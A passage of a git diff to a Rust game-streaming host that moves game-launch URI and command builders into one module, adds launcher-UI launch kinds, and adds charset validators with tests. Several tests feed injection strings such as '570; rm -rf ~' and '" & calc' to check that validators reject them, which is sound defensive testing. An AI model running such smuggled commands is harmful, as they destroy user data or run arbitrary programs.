is the only thing that works. + #[test] + fn a_hint_can_carry_the_store_derived_signals() { + let hint = DetectHint { + steam_appid: Some(440), + env_marker: Some(EnvMarker { + key: "HEROIC_APP_NAME".into(), + value: Some("Quail".into()), + }), + ..Default::default() + }; + assert!(!hint.is_empty(), "either field alone is a real hint"); + let spec = DetectSpec::from(&hint); + assert_eq!(spec.steam_appid, Some(440)); + assert_eq!(spec.env_marker.as_ref().unwrap().key, "HEROIC_APP_NAME"); + + // A steam_appid on its own is enough to be trackable. + let only_appid = DetectHint { + steam_appid: Some(620), + ..Default::default() + }; + assert!(!only_appid.is_empty()); + assert!(!DetectSpec::from(&only_appid).is_empty()); + + // The host's own finding still wins where it has one (unchanged rule). + let found = DetectSpec::steam(70); + assert_eq!(found.or_hint(&hint).steam_appid, Some(70)); + // …but a field the host had nothing for is filled in. + assert_eq!( + DetectSpec::dir("/games/x") + .or_hint(&hint) + .env_marker + .unwrap() + .key, + "HEROIC_APP_NAME" + ); + } + + /// A malformed marker is DROPPED, not honoured — same posture as a blank `install_dir`. The + /// matcher must never be handed a rule it cannot evaluate, and these values reach a code path + /// that can end processes. + #[test] + fn a_malformed_env_marker_says_nothing() { + let bad = |key: &str, value: Option| DetectHint { + env_marker: Some(EnvMarker { + key: key.into(), + value, + }), + ..Default::default() + }; + assert!(bad("", None).is_empty()); + assert!(bad("HAS-DASH", None).is_empty(), "not a POSIX env name"); + assert!(bad("HAS SPACE", None).is_empty()); + assert!(bad(&"K".repeat(65), None).is_empty(), "over the key cap"); + assert!( + bad("K", Some("v".repeat(MAX_ENV_VALUE + 1))).is_empty(), + "over the value cap" + ); + // …and a well-formed one at exactly the caps is kept. + assert!(!bad(&"K".repeat(64), Some("v".repeat(MAX_ENV_VALUE))).is_empty()); + assert!(DetectSpec::from(&bad("HAS-DASH", None)) + .env_marker + .is_none()); + } + #[test] fn first_token_handles_quotes_and_spaces() { assert_eq!( diff --git a/crates/punktfunk-host/src/library/epic.rs b/crates/punktfunk-host/src/library/epic.rs index 02fef950..07e72545 100644 --- a/crates/punktfunk-host/src/library/epic.rs +++ b/crates/punktfunk-host/src/library/epic.rs @@ -100,6 +100,7 @@ fn epic_entry( }; Some(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("epic:{app_name}"), store: "epic".into(), @@ -186,25 +187,8 @@ fn epic_art_index(catcache: &Path) -> std::collections::HashMap map } -/// Build the `com.epicgames.launcher://` launch URI from a stored launch value — the triple -/// `::` (colons URL-encoded), or a bare `` fallback. -/// Each part is charset-validated (host-derived, but belt-and-suspenders) so no shell/URI injection. -#[cfg(windows)] -pub(crate) fn epic_launch_uri(value: &str) -> Option { - let ok = |s: &str| { - !s.is_empty() - && s.bytes() - .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) - }; - let inner = match value.split(':').collect::>().as_slice() { - [ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"), - [app] if ok(app) => (*app).to_string(), - _ => return None, - }; - Some(format!( - "com.epicgames.launcher://apps/{inner}?action=launch&silent=true" - )) -} +// The `epic` launch mapping (`epic_launch_uri`) lives in `launch.rs` (WP1.1) — this module +// enumerates, it does not launch. #[cfg(test)] mod tests { @@ -236,19 +220,4 @@ mod tests { assert!(epic_entry(&gone, &empty).is_none()); std::fs::remove_dir_all(&dir).ok(); } - - #[cfg(windows)] - #[test] - fn epic_launch_uri_triple_bare_and_guard() { - assert_eq!( - epic_launch_uri("fn:abc:Fortnite").as_deref(), - Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true") - ); - assert_eq!( - epic_launch_uri("Fortnite").as_deref(), - Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true") - ); - assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected - assert!(epic_launch_uri("").is_none()); - } } diff --git a/crates/punktfunk-host/src/library/gog.rs b/crates/punktfunk-host/src/library/gog.rs index 419ed7d9..f7cc373f 100644 --- a/crates/punktfunk-host/src/library/gog.rs +++ b/crates/punktfunk-host/src/library/gog.rs @@ -57,6 +57,7 @@ fn gog_games() -> Vec { let detect = DetectSpec::exe(&exe).with_dir(&path); out.push(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id, store: "gog".into(), @@ -133,38 +134,13 @@ fn gog_play_task(install: &str, id: &str) -> Option<(String, String, String)> { )) } -/// Build the spawn `(command line, working dir)` for a `gog` launch value (`exe \t args \t workdir`, -/// all host-resolved from the operator's own disk). Direct exe — no shell, no Galaxy. -#[cfg(windows)] -pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option)> { - let mut parts = value.split('\t'); - let exe = parts.next().filter(|s| !s.is_empty())?; - let args = parts.next().unwrap_or(""); - let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from); - let cmdline = if args.trim().is_empty() { - format!("\"{exe}\"") - } else { - format!("\"{exe}\" {args}") - }; - Some((cmdline, workdir)) -} +// The `gog` launch mapping (`gog_spawn`) lives in `launch.rs` (WP1.1) — this module enumerates and +// resolves the spawn triple off disk, but turning that triple into a command line is launch-side. #[cfg(test)] mod tests { use super::*; - #[cfg(windows)] - #[test] - fn gog_spawn_parses_and_guards() { - let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap(); - assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip"); - assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3"))); - let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap(); - assert_eq!(cmd2, "\"C:\\g.exe\""); - assert!(wd2.is_none()); - assert!(gog_spawn("").is_none()); - } - #[cfg(windows)] #[test] fn gog_play_task_picks_primary_filetask() { diff --git a/crates/punktfunk-host/src/library/heroic.rs b/crates/punktfunk-host/src/library/heroic.rs index bc4f92a7..d7badd03 100644 --- a/crates/punktfunk-host/src/library/heroic.rs +++ b/crates/punktfunk-host/src/library/heroic.rs @@ -109,6 +109,7 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result anyhow::Result:`) to the Heroic launch command, run nested in -/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a -/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which -/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY -/// running on the box, the spawned process forwards the URI and exits, which would tear the session -/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic. -#[cfg(target_os = "linux")] -pub(crate) fn heroic_command(value: &str) -> Option { - let (runner, app) = value.split_once(':')?; - if !matches!(runner, "legendary" | "gog" | "nile") { - return None; - } - // appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token. - if app.is_empty() - || !app - .bytes() - .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) - { - return None; - } - let prefix = heroic_launch_prefix()?; - // No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName - // is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed). - Some(format!( - "{prefix} --no-gui heroic://launch?appName={app}&runner={runner}" - )) -} - -/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data -/// root is present. `None` ⇒ Heroic not found, so no launch command. -#[cfg(target_os = "linux")] -fn heroic_launch_prefix() -> Option { - let on_path = std::env::var_os("PATH") - .is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file())); - if on_path { - return Some("heroic".into()); - } - let flatpak = std::env::var_os("HOME") - .map(PathBuf::from) - .is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir()); - flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into()) -} +// The `heroic` launch mapping (`heroic_command` + its launcher-prefix probe) lives in `launch.rs` +// (WP1.1) — this module enumerates, it does not launch. #[cfg(test)] mod tests { diff --git a/crates/punktfunk-host/src/library/launch.rs b/crates/punktfunk-host/src/library/launch.rs index d289bdf0..c9eb98ad 100644 --- a/crates/punktfunk-host/src/library/launch.rs +++ b/crates/punktfunk-host/src/library/launch.rs @@ -1,12 +1,14 @@ //! Title launch: resolve a library id / raw command into an executable command line (per-store + //! per-OS), and the gamescope-session launch helpers. Split out of the `library` facade (plan §W5). +//! +//! This module owns the **whole launch side** of the library: the `kind` vocabulary, its per-kind +//! charset validators, and the per-OS resolvers. That split is deliberate and load-bearing — the +//! scanner modules beside it do *enumeration only*, so they can be lifted out into library plugins +//! without taking any launch logic with them (design/library-scanner-plugins.md D1: a client sends +//! only an entry id and the host resolves the [`LaunchSpec`] it holds, which stays true whether the +//! entry was enumerated in-process or reconciled in by a plugin). -use super::custom::valid_steam_appid; -#[cfg(target_os = "linux")] -use super::heroic::heroic_command; use super::*; -#[cfg(windows)] -use super::{epic::epic_launch_uri, gog::gog_spawn}; /// Everything a session needs about the title it is launching, resolved in **one** library scan: /// what to run, what to call it, and how to recognize it once it is running. @@ -17,6 +19,10 @@ use super::{epic::epic_launch_uri, gog::gog_spawn}; pub struct LaunchTarget { /// Identity for the status surface and the `game.*` events. pub game: crate::gamelease::GameRef, + /// This entry opens a LAUNCHER, not a game (design D4) — so there is no "the game exited" + /// moment to detect, and the lease stays untracked no matter what else is known about it. + /// See [`crate::gamelease::LeaseRequest::launcher`]. + pub launcher: bool, /// How to recognize the running game ([`DetectSpec`]); empty when the store offers nothing. pub detect: DetectSpec, /// The resolved shell command. `Some` on Linux (where the host runs it); `None` on Windows, @@ -49,6 +55,7 @@ pub fn resolve_launch(id: &str) -> Option { let command = entry.launch.as_ref().and_then(command_for)?; Some(LaunchTarget { game, + launcher: entry.role == GameRole::Launcher, detect: entry.detect, command: Some(command), }) @@ -60,6 +67,7 @@ pub fn resolve_launch(id: &str) -> Option { // the existing warning fires there. Some(LaunchTarget { game, + launcher: entry.role == GameRole::Launcher, detect: entry.detect, command: None, }) @@ -84,6 +92,25 @@ fn command_for(spec: &LaunchSpec) -> Option { // Heroic: `:` → the validated heroic://launch command (see heroic_command). #[cfg(target_os = "linux")] "heroic" => heroic_command(&spec.value), + // A launcher entry (D4): open the Steam client itself, in Big Picture or on the desktop. + // Nested in gamescope this is the SteamOS game-mode shape. + "steam_ui" => match spec.value.as_str() { + "bigpicture" => Some("steam -gamepadui".into()), + "desktop" => Some("steam".into()), + _ => None, + }, + // The other launchers' own UIs (D4). The host builds the command — a plugin only names + // which launcher — so no shell string ever crosses the wire. + #[cfg(target_os = "linux")] + "launcher_ui" => match spec.value.as_str() { + // The same resolution the `heroic` game launches use (native binary, else Flatpak), just + // without `--no-gui` and without a URI: that opens Heroic's window, which IS the tile. + "heroic" => heroic_launch_prefix(), + // Bare `lutris` opens the Lutris window; with a `lutris:rungameid/…` URI it launches a + // game instead (the `lutris_id` kind above). + "lutris" => Some("lutris".into()), + _ => None, + }, // Trusted: the command comes from the host's own custom store, never the client. "command" => (!spec.value.trim().is_empty()).then(|| spec.value.clone()), _ => None, @@ -138,6 +165,21 @@ fn windows_launch_for(spec: &LaunchSpec) -> Option<(String, Option { + let uri = match spec.value.as_str() { + "bigpicture" => "steam://open/bigpicture", + "desktop" => "steam://open/main", + _ => return None, + }; + let cmdline = match steam_exe() { + Some(exe) => format!("\"{}\" \"{uri}\"", exe.display()), + None => format!("explorer.exe \"{uri}\""), + }; + Some((cmdline, None)) + } // Epic: open the (host-built, validated) com.epicgames.launcher:// URI via explorer.exe — a // concrete EXE that resolves the registered protocol handler as the user; the URI is a single // argv element (no shell, no cmd /c). Same pattern as the steam explorer fallback. @@ -148,22 +190,59 @@ fn windows_launch_for(spec: &LaunchSpec) -> Option<(String, Option { - let valid = spec.value.split_once('!').is_some_and(|(pfn, app)| { - let part = |s: &str| { - !s.is_empty() - && s.bytes() - .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) - }; - part(pfn) && part(app) - }); - valid.then(|| { - ( - format!("explorer.exe \"shell:AppsFolder\\{}\"", spec.value), - None, - ) - }) + "aumid" => valid_aumid(&spec.value).then(|| { + ( + format!("explorer.exe \"shell:AppsFolder\\{}\"", spec.value), + None, + ) + }), + // Xbox / Game Pass from a library PLUGIN: `!`, both read straight out of + // `MicrosoftGame.config`. The host completes it into the AUMID. + // + // This kind exists because of a measured privilege asymmetry (2026-08-06): resolving the + // PackageFamilyName means enumerating `%ProgramData%\…\AppRepository\Packages`, which is + // denied to `NT AUTHORITY\LocalService` — the principal the plugin runner runs as — and + // allowed to the host, which runs as LocalSystem. So the plugin sends what it can read and + // the host reads the authoritative publisher hash itself, at launch time. + // + // Resolving here rather than caching at install time also means a package update that + // changes the hash cannot leave a stale, unlaunchable tile behind. + "xbox" => { + let (identity, app_id) = spec.value.split_once('!')?; + if !aumid_part(identity) || !aumid_part(app_id) { + return None; + } + let pfn = xbox_pfn(identity)?; + Some(( + format!("explorer.exe \"shell:AppsFolder\\{pfn}!{app_id}\""), + None, + )) } + // Playnite: open the game through Playnite's own URI handler, which is what actually knows + // how to start it (Playnite maps the id to whichever store owns the title). explorer.exe + // resolves the registered protocol as the user — the same pattern as the `epic` kind — and + // the id is GUID-validated, so the only variable part of the line is 36 hex-and-dash chars. + // + // This kind exists because the plugin used to publish `kind: "command"` (a `start ""` shell + // line). The 2026-08-05 review made `command` operator-only, which refuses a plugin's whole + // reconcile — so without a typed kind the Playnite plugin cannot publish anything at all. + "playnite" => valid_playnite_id(&spec.value).then(|| { + ( + format!("explorer.exe \"playnite://playnite/start/{}\"", spec.value), + None, + ) + }), + // A launcher entry (D4) on Windows: today that is Playnite's Fullscreen app, spawned + // directly (its `playnite://` handler opens the DESKTOP app, so no URI can do this). The + // value is the literal "playnite" — nothing from the entry reaches the command line — and + // the working directory is Playnite's own install dir, as a .NET app expects. + "launcher_ui" => match spec.value.as_str() { + "playnite" => playnite_fullscreen_exe().map(|exe| { + let dir = exe.parent().map(std::path::Path::to_path_buf); + (format!("\"{}\"", exe.display()), dir) + }), + _ => None, + }, // Operator-typed custom command (host-owned, never client-set): run it through the shell in the // interactive session. `cmd.exe /c` is acceptable here precisely because the value is operator // input — the same trust as the operator typing it — not a client-influenced string. @@ -191,6 +270,238 @@ fn steam_exe() -> Option { None } +// ------------------------------------------------------- per-kind launch values (host-owned ABI) +// +// Each helper below turns a store's launch VALUE — the only part a scanner (or, after extraction, a +// library plugin) supplies — into the URI/command line the host actually runs. They live here rather +// than beside the enumeration that produces the value because the host keeps owning URI construction +// and spawning no matter where the enumeration came from (D1). Every one of them is total and +// validating: an unparseable or hostile value yields `None`, never a partially-interpolated command. + +/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it +/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax). +/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping +/// ([`windows_launch_for`]). +/// +/// Also accepts the 64-bit non-Steam-shortcut game id ([`shortcut_gameid`]), which is likewise +/// digits — the two share the `steam_appid` kind precisely because `rungameid` takes either. +pub(crate) fn valid_steam_appid(value: &str) -> bool { + !value.is_empty() && value.bytes().all(|b| b.is_ascii_digit()) +} + +/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the +/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the +/// bare 32-bit appid does not launch a shortcut — it must be this composed id.) +pub(crate) fn shortcut_gameid(appid: u32) -> u64 { + ((appid as u64) << 32) | 0x0200_0000 +} + +/// The `steam_ui` launch values (D4) — which Steam UI a launcher entry opens. A closed two-value +/// enum, validated on the way IN (the reconcile payload) as well as on the way out, so an entry can +/// never carry a third value that silently resolves to nothing at launch time. +pub(crate) fn valid_steam_ui(value: &str) -> bool { + matches!(value, "bigpicture" | "desktop") +} + +/// One half of an AUMID (a package family name or an app id): non-empty, and no character that +/// could break out of the `shell:AppsFolder\…` argument. Both halves are host-derived, so this is +/// belt-and-braces — but the `xbox` kind now takes an Identity straight off a plugin's wire, which +/// makes it load-bearing rather than defensive. +pub(crate) fn aumid_part(s: &str) -> bool { + !s.is_empty() + && s.bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) +} + +/// A full `!` AUMID. +pub(crate) fn valid_aumid(value: &str) -> bool { + value + .split_once('!') + .is_some_and(|(pfn, app)| aumid_part(pfn) && aumid_part(app)) +} + +/// A Playnite game id: the GUID Playnite's own database uses, and the only client-influenced part +/// of a `playnite` launch. Interpolated into a URI handed to explorer.exe, so the charset is +/// validated first — 8-4-4-4-12 lowercase-or-uppercase hex with dashes, nothing else. +pub(crate) fn valid_playnite_id(value: &str) -> bool { + let groups = [8usize, 4, 4, 4, 12]; + let mut parts = value.split('-'); + for want in groups { + match parts.next() { + Some(p) if p.len() == want && p.bytes().all(|b| b.is_ascii_hexdigit()) => {} + _ => return false, + } + } + parts.next().is_none() +} + +/// The launcher UIs **this host** can open, as `launcher_ui` values (D4). +/// +/// One kind for every launcher but Steam, rather than one kind each: they all have exactly a single +/// UI to open, so the value is just which launcher. Steam keeps its own [`valid_steam_ui`] kind +/// because it has two (Big Picture and the desktop client), which is a genuinely different choice. +/// +/// Platform-gated, because a value naming a launcher this OS cannot run is not a tile that merely +/// looks odd — it is one that fails at launch. Validated inbound too, so a plugin gets a 400 it can +/// act on instead of publishing a dead entry. +/// +/// **Why a typed kind at all**, when design D4 originally said non-Steam launchers would ride the +/// `command` kind: the 2026-08-05 review made `launch.kind = "command"` operator-only (it is handed +/// to a shell), so a plugin publishing one is refused. A typed kind keeps D1's rule intact — the +/// plugin supplies a validated *value*, the host builds the command — and is the only way a scanner +/// plugin can offer a launcher tile at all. +fn launcher_ui_stores() -> &'static [&'static str] { + #[cfg(target_os = "linux")] + { + &["heroic", "lutris"] + } + // Playnite's activation is verified (2026-08-06, on the .173 box); Epic, GOG Galaxy and the + // Xbox app are still unwired — each needs its own verified activation, and an unverified guess + // would ship a tile that does nothing. + #[cfg(windows)] + { + &["playnite"] + } + #[cfg(not(any(target_os = "linux", windows)))] + { + &[] + } +} + +/// Is this a `launcher_ui` value this host can resolve? +/// +/// On Windows, Playnite is validated by *resolution* rather than by being on the list: a host +/// without Playnite installed refuses the entry (a 400 the plugin author can act on) instead of +/// publishing a tile that does nothing when a user clicks it. +pub(crate) fn valid_launcher_ui(value: &str) -> bool { + if !launcher_ui_stores().contains(&value) { + return false; + } + #[cfg(windows)] + if value == "playnite" { + return playnite_fullscreen_exe().is_some(); + } + true +} + +/// Windows: Playnite's **Fullscreen** app, if this host can find it. +/// +/// Fullscreen rather than Desktop for two reasons: a launcher tile is opened from a couch over a +/// stream, and — verified on 2026-08-06 — the registered `playnite://` protocol handler points at +/// `Playnite.DesktopApp.exe`, so a URI cannot open fullscreen mode at all. The exe is launched +/// directly, which is also why nothing here is interpolated from the entry: the whole value is the +/// literal `"playnite"`. +/// +/// Playnite installs per-user by default, so the install directory comes from its own uninstall +/// entry (HKCU first, then HKLM for a machine-wide install), falling back to the default +/// `%LOCALAPPDATA%\Playnite`. `None` when nothing resolves, which is what refuses the tile. +#[cfg(windows)] +fn playnite_fullscreen_exe() -> Option { + use winreg::enums::{HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE}; + use winreg::RegKey; + const KEY: &str = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Playnite"; + const EXE: &str = "Playnite.FullscreenApp.exe"; + + let from_registry = [HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE] + .into_iter() + .find_map(|root| { + RegKey::predef(root) + .open_subkey(KEY) + .ok()? + .get_value::("InstallLocation") + .ok() + }) + .map(std::path::PathBuf::from); + + from_registry + .into_iter() + .chain( + std::env::var_os("LOCALAPPDATA").map(|l| std::path::PathBuf::from(l).join("Playnite")), + ) + .map(|dir| dir.join(EXE)) + .find(|p| p.is_file()) +} + +/// Map a `heroic` LaunchSpec value (`:`) to the Heroic launch command, run nested in +/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a +/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which +/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY +/// running on the box, the spawned process forwards the URI and exits, which would tear the session +/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic. +#[cfg(target_os = "linux")] +pub(crate) fn heroic_command(value: &str) -> Option { + let (runner, app) = value.split_once(':')?; + if !matches!(runner, "legendary" | "gog" | "nile") { + return None; + } + // appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token. + if app.is_empty() + || !app + .bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) + { + return None; + } + let prefix = heroic_launch_prefix()?; + // No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName + // is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed). + Some(format!( + "{prefix} --no-gui heroic://launch?appName={app}&runner={runner}" + )) +} + +/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data +/// root is present. `None` ⇒ Heroic not found, so no launch command. +#[cfg(target_os = "linux")] +fn heroic_launch_prefix() -> Option { + let on_path = std::env::var_os("PATH") + .is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file())); + if on_path { + return Some("heroic".into()); + } + let flatpak = std::env::var_os("HOME") + .map(PathBuf::from) + .is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir()); + flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into()) +} + +/// Map an `epic` LaunchSpec value to the Epic Games Launcher URI. The value is either the full +/// `::` triple (what the manifests carry) or a bare `appName`; +/// every part is charset-checked so the URI stays one safe argv token. +#[cfg(windows)] +pub(crate) fn epic_launch_uri(value: &str) -> Option { + let ok = |s: &str| { + !s.is_empty() + && s.bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) + }; + let inner = match value.split(':').collect::>().as_slice() { + [ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"), + [app] if ok(app) => (*app).to_string(), + _ => return None, + }; + Some(format!( + "com.epicgames.launcher://apps/{inner}?action=launch&silent=true" + )) +} + +/// Map a `gog` LaunchSpec value — the tab-separated `exe \t args \t workdir` spawn triple the scanner +/// derived from `goggame-.info` — to a `(command line, working dir)`. GOG games are spawned +/// directly (no Galaxy), so the exe is quoted and the arguments ride verbatim. +#[cfg(windows)] +pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option)> { + let mut parts = value.split('\t'); + let exe = parts.next().filter(|s| !s.is_empty())?; + let args = parts.next().unwrap_or(""); + let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from); + let cmdline = if args.trim().is_empty() { + format!("\"{exe}\"") + } else { + format!("\"{exe}\" {args}") + }; + Some((cmdline, workdir)) +} + /// Launch a GameStream `apps.json` command (operator-typed, trusted — never client-set) into the /// interactive Windows user session, AFTER capture is up (the host is SYSTEM). The Linux paths go /// through the compositor-aware [`launch_session_command`] instead. @@ -360,6 +671,207 @@ mod tests { } } + /// The `steam_ui` launcher kind (D4): a closed two-value enum, mapped to the Steam client's own + /// UI on each OS. Nothing from the entry is interpolated — the value only SELECTS between two + /// host-owned literals — so there is no injection surface at all here. + #[test] + fn steam_ui_is_a_closed_two_value_enum() { + assert!(valid_steam_ui("bigpicture")); + assert!(valid_steam_ui("desktop")); + assert!(!valid_steam_ui("gamepadui")); + assert!(!valid_steam_ui("")); + assert!(!valid_steam_ui("bigpicture; rm -rf ~")); + } + + /// The `launcher_ui` kind exists because D4's original plan — non-Steam launchers riding the + /// `command` kind — stopped being available to plugins when the 2026-08-05 review made + /// `command` operator-only. A plugin names a launcher; the host builds the command. + #[test] + fn launcher_ui_accepts_only_launchers_this_host_can_open() { + #[cfg(target_os = "linux")] + { + assert!(valid_launcher_ui("heroic")); + assert!(valid_launcher_ui("lutris")); + // Not wired on this OS — refused inbound rather than becoming a tile that does nothing. + assert!(!valid_launcher_ui("gog")); + } + #[cfg(windows)] + { + // Playnite is accepted only when this host can actually FIND its Fullscreen app: + // validation is resolution, so a box without Playnite refuses the entry rather than + // publishing a tile that does nothing when clicked. + assert_eq!( + valid_launcher_ui("playnite"), + playnite_fullscreen_exe().is_some() + ); + // The Linux launchers, and the Windows ones whose activation is still unverified + // (Epic, GOG Galaxy, the Xbox app), stay refused. + assert!(!valid_launcher_ui("heroic")); + assert!(!valid_launcher_ui("gog")); + } + #[cfg(not(any(target_os = "linux", windows)))] + { + // No launcher UIs are wired on this OS, so every value is refused. + assert!(!valid_launcher_ui("heroic")); + assert!(!valid_launcher_ui("gog")); + } + assert!(!valid_launcher_ui("")); + assert!(!valid_launcher_ui("lutris; rm -rf ~")); + } + + /// The `xbox` kind is what a library PLUGIN can publish: the runner's principal cannot read + /// AppRepository (measured 2026-08-06), so it sends `!` and the host resolves + /// the publisher hash. The charset guard is load-bearing here — unlike `aumid`, this value + /// arrives over the wire. + #[test] + fn xbox_value_is_identity_bang_appid_and_charset_guarded() { + assert!(valid_aumid("Microsoft.Foo!Game")); + assert!(valid_aumid("A_b-c.d!App")); + // Both halves must be present and non-empty. + assert!(!valid_aumid("Microsoft.Foo")); + assert!(!valid_aumid("!Game")); + assert!(!valid_aumid("Microsoft.Foo!")); + assert!(!valid_aumid("")); + // Nothing that could break out of the `shell:AppsFolder\…` argument. + assert!(!valid_aumid("Foo\"!Game")); + assert!(!valid_aumid("Foo!Game\" & calc")); + assert!(!valid_aumid("Foo\\..\\Bar!Game")); + assert!(!valid_aumid("Foo Bar!Game")); + } + + /// Windows' launcher tile opens Playnite's FULLSCREEN app. Both negatives are the point: the + /// desktop app is not what a couch tile should open, and the `playnite://` handler cannot be + /// used because it is registered to the desktop app (verified on .173, 2026-08-06). + #[cfg(windows)] + #[test] + fn playnite_launcher_opens_the_fullscreen_app() { + let ui = |v: &str| { + windows_launch_for(&LaunchSpec { + kind: "launcher_ui".into(), + value: v.into(), + }) + }; + // A launcher this host cannot open is refused, whatever the OS. + assert!(ui("gog").is_none()); + assert!(ui("heroic").is_none()); + assert!(ui("").is_none()); + + // The rest only means anything on a box that actually has Playnite. + let Some(exe) = playnite_fullscreen_exe() else { + return; + }; + let (cmd, dir) = ui("playnite").expect("resolvable when the exe was found"); + assert!(cmd.contains("Playnite.FullscreenApp.exe"), "{cmd}"); + assert!(!cmd.contains("DesktopApp"), "{cmd}"); + assert!(!cmd.contains("playnite://"), "{cmd}"); + assert_eq!(dir.as_deref(), exe.parent()); + } + + #[cfg(target_os = "linux")] + #[test] + fn launcher_ui_opens_the_launcher_itself() { + let ui = |v: &str| { + command_for(&LaunchSpec { + kind: "launcher_ui".into(), + value: v.into(), + }) + }; + // Bare `lutris` opens the window; the URI form is the `lutris_id` kind and launches a game. + assert_eq!(ui("lutris").as_deref(), Some("lutris")); + assert!(!ui("lutris").unwrap().contains("rungameid")); + // Heroic resolves the same way its game launches do, but with no `--no-gui` and no URI — so + // the window IS what opens. `None` on a box without Heroic, which is a correct answer. + if let Some(cmd) = ui("heroic") { + assert!(!cmd.contains("--no-gui"), "the GUI is the point: {cmd:?}"); + assert!(!cmd.contains("heroic://"), "no game URI: {cmd:?}"); + } + assert_eq!(ui("nonsense"), None); + assert_eq!(ui(""), None); + } + + #[cfg(not(windows))] + #[test] + fn steam_ui_resolves_to_the_client_ui_on_linux() { + let ui = |v: &str| { + command_for(&LaunchSpec { + kind: "steam_ui".into(), + value: v.into(), + }) + }; + // Big Picture is the SteamOS game-mode shape; nested in gamescope this is what `--steam` + // integration is built around. + assert_eq!(ui("bigpicture").as_deref(), Some("steam -gamepadui")); + assert_eq!(ui("desktop").as_deref(), Some("steam")); + assert_eq!(ui("nonsense"), None); + assert_eq!(ui(""), None); + } + + #[cfg(windows)] + #[test] + fn steam_ui_resolves_to_the_client_ui_on_windows() { + let ui = |v: &str| { + windows_launch_for(&LaunchSpec { + kind: "steam_ui".into(), + value: v.into(), + }) + }; + let (bp, wd) = ui("bigpicture").expect("bigpicture recipe"); + assert!(bp.contains("steam://open/bigpicture"), "line was {bp:?}"); + assert!(wd.is_none()); + let (desk, _) = ui("desktop").expect("desktop recipe"); + assert!(desk.contains("steam://open/main"), "line was {desk:?}"); + assert!(ui("nonsense").is_none()); + assert!(ui("").is_none()); + } + + #[test] + fn steam_appid_validation_accepts_appids_and_shortcut_gameids() { + assert!(valid_steam_appid("570")); + // The 64-bit shortcut game id shares the `steam_appid` kind — `rungameid` takes either. + assert!(valid_steam_appid( + &shortcut_gameid(2_456_789_012).to_string() + )); + assert!(!valid_steam_appid("")); + assert!(!valid_steam_appid("570; rm -rf ~")); + assert!(!valid_steam_appid("-1")); + } + + /// Moved here with `shortcut_gameid` (WP1.1): the composed id is launch vocabulary, not + /// enumeration — the scanner only supplies the 32-bit appid it read out of `shortcuts.vdf`. + #[test] + fn shortcut_gameid_composes_appid_and_marker() { + let id = shortcut_gameid(0x8000_0000); + assert_eq!(id >> 32, 0x8000_0000, "high dword is the shortcut appid"); + assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000, "low dword is the marker"); + } + + #[cfg(windows)] + #[test] + fn epic_launch_uri_triple_bare_and_guard() { + assert_eq!( + epic_launch_uri("fn:abc:Fortnite").as_deref(), + Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true") + ); + assert_eq!( + epic_launch_uri("Fortnite").as_deref(), + Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true") + ); + assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → 